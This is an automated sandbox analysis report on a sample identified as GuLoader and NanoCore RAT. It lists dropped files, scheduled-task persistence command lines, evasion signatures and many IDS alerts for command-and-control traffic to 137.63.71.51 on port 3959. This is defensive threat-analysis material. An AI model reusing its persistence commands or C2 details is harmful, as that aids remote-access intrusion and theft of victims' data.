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C:\Program Files (x86)\DSL Monitor\dslmon.exe
C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\caspol.exe.log
C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\dslmon.exe.log
C:\Users\user\AppData\Local\Temp\Overhumanise\Supplicatingly.exe
C:\Users\user\AppData\Local\Temp\nsb1C0A.tmp\System.dll
C:\Users\user\AppData\Local\Temp\tmp7A08.tmp
C:\Users\user\AppData\Local\Temp\tmp7C99.tmp
C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\catalog.dat
C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\run.dat
C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\task.dat
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Begravedes\Viewer\Rammedes\Algae62\plkkers\Reputation\network-cellular-4g-symbolic.svg
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Begravedes\Viewer\Rammedes\Arbejdskraftproblemer\CoverEdCtrl.manifest
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Begravedes\Viewer\Rammedes\Arbejdskraftproblemer\Lakridset.bmp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Begravedes\Viewer\Rammedes\Bacin\Besjlings\network-wireless-connected-symbolic.svg
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Begravedes\Viewer\Rammedes\Baggesen\audio-x-generic-symbolic.symbolic.png
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Begravedes\Viewer\Rammedes\Baggesen\changes-prevent-symbolic.svg
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Begravedes\Viewer\Rammedes\Buyback\preguiltiness\Hydroxytryptamine\Forlben\dialog-
information-symbolic.svg
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Begravedes\Viewer\Rammedes\Buyback\preguiltiness\Hydroxytryptamine\Forlben\drive-
harddisk-solidstate-symbolic.symbolic.png
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Begravedes\Viewer\Rammedes\Buyback\preguiltiness\Hydroxytryptamine\Forlben\folder-
download.png
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Begravedes\Viewer\Rammedes\Buyback\preguiltiness\Hydroxytryptamine\Forlben\folder-drag-
accept-symbolic.svg
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Begravedes\Viewer\Rammedes\Buyback\preguiltiness\Hydroxytryptamine\Forlben\folder-
visiting.png
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Begravedes\Viewer\Rammedes\Buyback\preguiltiness\Hydroxytryptamine\Forlben\format-text-
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System Behavior
Analysis Process: dlawt.exePID: 1892, Parent PID: 6468

General
File Activities

Analysis Process: CasPol.exePID: 368, Parent PID: 1892
General
File Activities

File Created
File Written
File Read

Registry Activities
Key Value Created

Analysis Process: conhost.exePID: 7160, Parent PID: 368
General
File Activities

Analysis Process: schtasks.exePID: 3936, Parent PID: 368
General
File Activities

File Read

Analysis Process: conhost.exePID: 2400, Parent PID: 3936
General

Analysis Process: schtasks.exePID: 6288, Parent PID: 368
General
File Activities

File Read

Analysis Process: conhost.exePID: 7540, Parent PID: 6288
General

Analysis Process: CasPol.exePID: 5328, Parent PID: 1412
General
File Activities

File Created
File Written
File Read

Analysis Process: conhost.exePID: 5072, Parent PID: 5328
General
File Activities

Analysis Process: dslmon.exePID: 4028, Parent PID: 1412
General
File Activities

File Created
File Written
File Read

Analysis Process: conhost.exePID: 888, Parent PID: 4028
General
File Activities

Analysis Process: dslmon.exePID: 1384, Parent PID: 4960
General
File Activities

File Created
File Written
File Read

Analysis Process: conhost.exePID: 5764, Parent PID: 1384
General
File Activities
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Windows Analysis Report 
dlawt.exe

Overview

General Information

Sample 
Name:

dlawt.exe

Analysis ID: 711461

MD5: cf313a27bceba3…

SHA1: 4ff90062880efe5…

SHA256: d4fba0fc4c7c133…

Infos:

Detection

NanoCore,
GuLoader

Score: 96

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Sigma detected: NanoCore

Sigma detected: Scheduled temp fil…

Yara detected GuLoader

Snort IDS alert for network traffic

Hides threads from debuggers

Writes to foreign memory regions

Tries to detect Any.run

Tries to detect sandboxes and other…

Hides that the sample has been dow…

Uses schtasks.exe or at.exe to add…

Uses 32bit PE files

Antivirus or Machine Learning detec…

May sleep (evasive loops) to hinder…

Contains functionality to shutdown /…

Uses code obfuscation techniques (…

Internet Provider seen in connection…

Detected potential crypto function

Sample execution stops while proce…

JA3 SSL client fingerprint seen in co…

Contains functionality to call native …

Contains functionality to dynamicall…

Contains functionality for execution …

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / U…

Sample file is different than original …

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PE…

Uses a known web browser user age…

Detected TCP or UDP traffic on non…

Checks if the current process is bei…

PE / OLE file has an invalid certifica…

Creates a process in suspended mo…

Contains functionality to access loa…

Contains functionality for read data …

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64native

dlawt.exe (PID: 1892 cmdline: "C:\Users\user\Desktop\dlawt.exe" MD5: CF313A27BCEBA36C7FA863BA1E935676)

CasPol.exe (PID: 368 cmdline: "C:\Users\user\Desktop\dlawt.exe" MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)

conhost.exe (PID: 7160 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

schtasks.exe (PID: 3936 cmdline: schtasks.exe" /create /f /tn "DSL Monitor" /xml "C:\Users\user\AppData\Local\Temp\tmp7A08.tmp MD5:

478BEAEC1C3A9417272BC8964ADD1CEE)
conhost.exe (PID: 2400 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

schtasks.exe (PID: 6288 cmdline: schtasks.exe" /create /f /tn "DSL Monitor Task" /xml "C:\Users\user\AppData\Local\Temp\tmp7C99.tmp MD5:

478BEAEC1C3A9417272BC8964ADD1CEE)
conhost.exe (PID: 7540 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

CasPol.exe (PID: 5328 cmdline: C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe 0 MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)

conhost.exe (PID: 5072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

dslmon.exe (PID: 4028 cmdline: "C:\Program Files (x86)\DSL Monitor\dslmon.exe" 0 MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)

conhost.exe (PID: 888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

dslmon.exe (PID: 1384 cmdline: "C:\Program Files (x86)\DSL Monitor\dslmon.exe" MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)

conhost.exe (PID: 5764 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cleanup

⊘ No configs have been found

Source Rule Description Author Strings

00000003.00000000.29620428207.0000000000F00000.000
00040.00000400.00020000.00000000.sdmp

JoeSecurity_GuLo
ader_2

Yara detected 
GuLoader

Joe Security

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps
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00000001.00000002.29792156684.0000000003283000.000
00040.00000800.00020000.00000000.sdmp

JoeSecurity_GuLo
ader_2

Yara detected 
GuLoader

Joe Security

Source Rule Description Author Strings

AV Detection

E-Banking Fraud

Persistence and Installation Behavior

Stealing of Sensitive Information

Remote Access Functionality

Timestamp: 192.168.11.20137.63.71.514986139592025019 09/28/22-07:34:32.671694

SID: 2025019

Source Port: 49861

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514985139592025019 09/28/22-07:33:34.715524

SID: 2025019

Source Port: 49851

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514987139592025019 09/28/22-07:35:36.391773

SID: 2025019

Source Port: 49871

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514989439592025019 09/28/22-07:37:50.410067

Sigma Signatures

Sigma detected: NanoCore

Sigma detected: NanoCore

Sigma detected: Scheduled temp file as task from temp location

Sigma detected: NanoCore

Sigma detected: NanoCore

Snort Signatures
ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51
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SID: 2025019

Source Port: 49894

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514989139592025019 09/28/22-07:37:31.709636

SID: 2025019

Source Port: 49891

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514984439592025019 09/28/22-07:32:57.005302

SID: 2025019

Source Port: 49844

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514988139592025019 09/28/22-07:36:29.566940

SID: 2025019

Source Port: 49881

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514987739592025019 09/28/22-07:36:06.040630

SID: 2025019

Source Port: 49877

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514986739592025019 09/28/22-07:35:11.648652

SID: 2025019

Source Port: 49867

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514990439592816766 09/28/22-07:38:53.131391

SID: 2816766

Source Port: 49904

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514984739592025019 09/28/22-07:33:09.422159

SID: 2025019

Source Port: 49847

Destination Port: 3959

Protocol: TCP

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

Copyright Joe Security LLC 2022 Page 7 of 90



Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514985739592025019 09/28/22-07:34:06.613935

SID: 2025019

Source Port: 49857

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514987139592816766 09/28/22-07:35:37.694051

SID: 2816766

Source Port: 49871

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514989139592816766 09/28/22-07:37:32.996576

SID: 2816766

Source Port: 49891

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514991739592816766 09/28/22-07:40:07.142646

SID: 2816766

Source Port: 49917

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514991039592025019 09/28/22-07:39:22.327186

SID: 2025019

Source Port: 49910

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514988139592816766 09/28/22-07:36:31.401253

SID: 2816766

Source Port: 49881

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514990039592025019 09/28/22-07:38:27.665932

SID: 2025019

Source Port: 49900

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514984839592816766 09/28/22-07:33:17.548675

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51
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SID: 2816766

Source Port: 49848

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514985139592816766 09/28/22-07:33:36.010486

SID: 2816766

Source Port: 49851

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514991739592025019 09/28/22-07:40:05.847728

SID: 2025019

Source Port: 49917

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514985839592816766 09/28/22-07:34:14.363258

SID: 2816766

Source Port: 49858

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514986139592816766 09/28/22-07:34:34.515238

SID: 2816766

Source Port: 49861

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514989739592816766 09/28/22-07:38:10.805467

SID: 2816766

Source Port: 49897

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514986839592816766 09/28/22-07:35:19.667834

SID: 2816766

Source Port: 49868

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514988839592816766 09/28/22-07:37:14.298369

SID: 2816766

Source Port: 49888

Destination Port: 3959

Protocol: TCP

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51
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Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514987839592816766 09/28/22-07:36:13.495948

SID: 2816766

Source Port: 49878

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514984739592816766 09/28/22-07:33:11.271649

SID: 2816766

Source Port: 49847

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514990639592025019 09/28/22-07:39:03.782754

SID: 2025019

Source Port: 49906

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514991639592025019 09/28/22-07:39:59.664794

SID: 2025019

Source Port: 49916

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514985439592025019 09/28/22-07:33:53.711667

SID: 2025019

Source Port: 49854

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514985739592816766 09/28/22-07:34:07.936591

SID: 2816766

Source Port: 49857

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514986439592025019 09/28/22-07:34:52.006915

SID: 2025019

Source Port: 49864

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514986739592816766 09/28/22-07:35:12.944112

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51
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SID: 2816766

Source Port: 49867

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514988739592816766 09/28/22-07:37:08.613787

SID: 2816766

Source Port: 49887

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514990139592816766 09/28/22-07:38:35.212387

SID: 2816766

Source Port: 49901

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514988439592025019 09/28/22-07:36:48.157564

SID: 2025019

Source Port: 49884

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514987439592025019 09/28/22-07:35:48.778599

SID: 2025019

Source Port: 49874

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514987739592816766 09/28/22-07:36:07.329674

SID: 2816766

Source Port: 49877

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514991139592816766 09/28/22-07:39:29.771240

SID: 2816766

Source Port: 49911

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514984839592025019 09/28/22-07:33:15.704466

SID: 2025019

Source Port: 49848

Destination Port: 3959

Protocol: TCP

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51
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Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514985839592025019 09/28/22-07:34:13.071342

SID: 2025019

Source Port: 49858

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514989239592816766 09/28/22-07:37:39.179510

SID: 2816766

Source Port: 49892

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514989839592025019 09/28/22-07:38:15.231288

SID: 2025019

Source Port: 49898

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514992139592025019 09/28/22-07:40:30.575447

SID: 2025019

Source Port: 49921

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514986539592025019 09/28/22-07:34:58.624111

SID: 2025019

Source Port: 49865

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514987239592816766 09/28/22-07:35:43.852562

SID: 2816766

Source Port: 49872

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514990039592816766 09/28/22-07:38:29.506939

SID: 2816766

Source Port: 49900

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514992039592816766 09/28/22-07:40:25.651593

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51
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SID: 2816766

Source Port: 49920

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514990139592025019 09/28/22-07:38:33.930170

SID: 2025019

Source Port: 49901

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514991139592025019 09/28/22-07:39:28.485341

SID: 2025019

Source Port: 49911

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514987539592025019 09/28/22-07:35:53.721836

SID: 2025019

Source Port: 49875

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514988239592816766 09/28/22-07:36:37.102195

SID: 2816766

Source Port: 49882

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514991039592816766 09/28/22-07:39:23.613883

SID: 2816766

Source Port: 49910

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514986539592816766 09/28/22-07:35:00.467445

SID: 2816766

Source Port: 49865

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514987539592816766 09/28/22-07:35:55.008489

SID: 2816766

Source Port: 49875

Destination Port: 3959

Protocol: TCP

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51
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Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514988539592025019 09/28/22-07:36:54.405917

SID: 2025019

Source Port: 49885

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514991439592025019 09/28/22-07:39:47.210945

SID: 2025019

Source Port: 49914

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514985539592816766 09/28/22-07:34:01.960430

SID: 2816766

Source Port: 49855

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514989539592816766 09/28/22-07:37:58.451493

SID: 2816766

Source Port: 49895

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514986239592816766 09/28/22-07:34:40.894645

SID: 2816766

Source Port: 49862

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514989539592025019 09/28/22-07:37:56.611347

SID: 2025019

Source Port: 49895

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514985239592816766 09/28/22-07:33:42.236724

SID: 2816766

Source Port: 49852

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514988539592816766 09/28/22-07:36:55.691366

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51
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SID: 2816766

Source Port: 49885

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514984239592816766 09/28/22-07:32:45.752995

SID: 2816766

Source Port: 49842

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514990439592025019 09/28/22-07:38:51.273911

SID: 2025019

Source Port: 49904

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514987639592025019 09/28/22-07:35:59.918218

SID: 2025019

Source Port: 49876

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514987439592816766 09/28/22-07:35:49.136546

SID: 2816766

Source Port: 49874

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514988439592816766 09/28/22-07:36:50.000586

SID: 2816766

Source Port: 49884

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514988639592025019 09/28/22-07:37:00.607474

SID: 2025019

Source Port: 49886

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514989639592025019 09/28/22-07:38:02.828628

SID: 2025019

Source Port: 49896

Destination Port: 3959

Protocol: TCP

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51
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Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514989939592025019 09/28/22-07:38:21.464409

SID: 2025019

Source Port: 49899

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514992039592025019 09/28/22-07:40:24.359987

SID: 2025019

Source Port: 49920

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514985439592816766 09/28/22-07:33:55.016289

SID: 2816766

Source Port: 49854

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514986439592816766 09/28/22-07:34:53.301647

SID: 2816766

Source Port: 49864
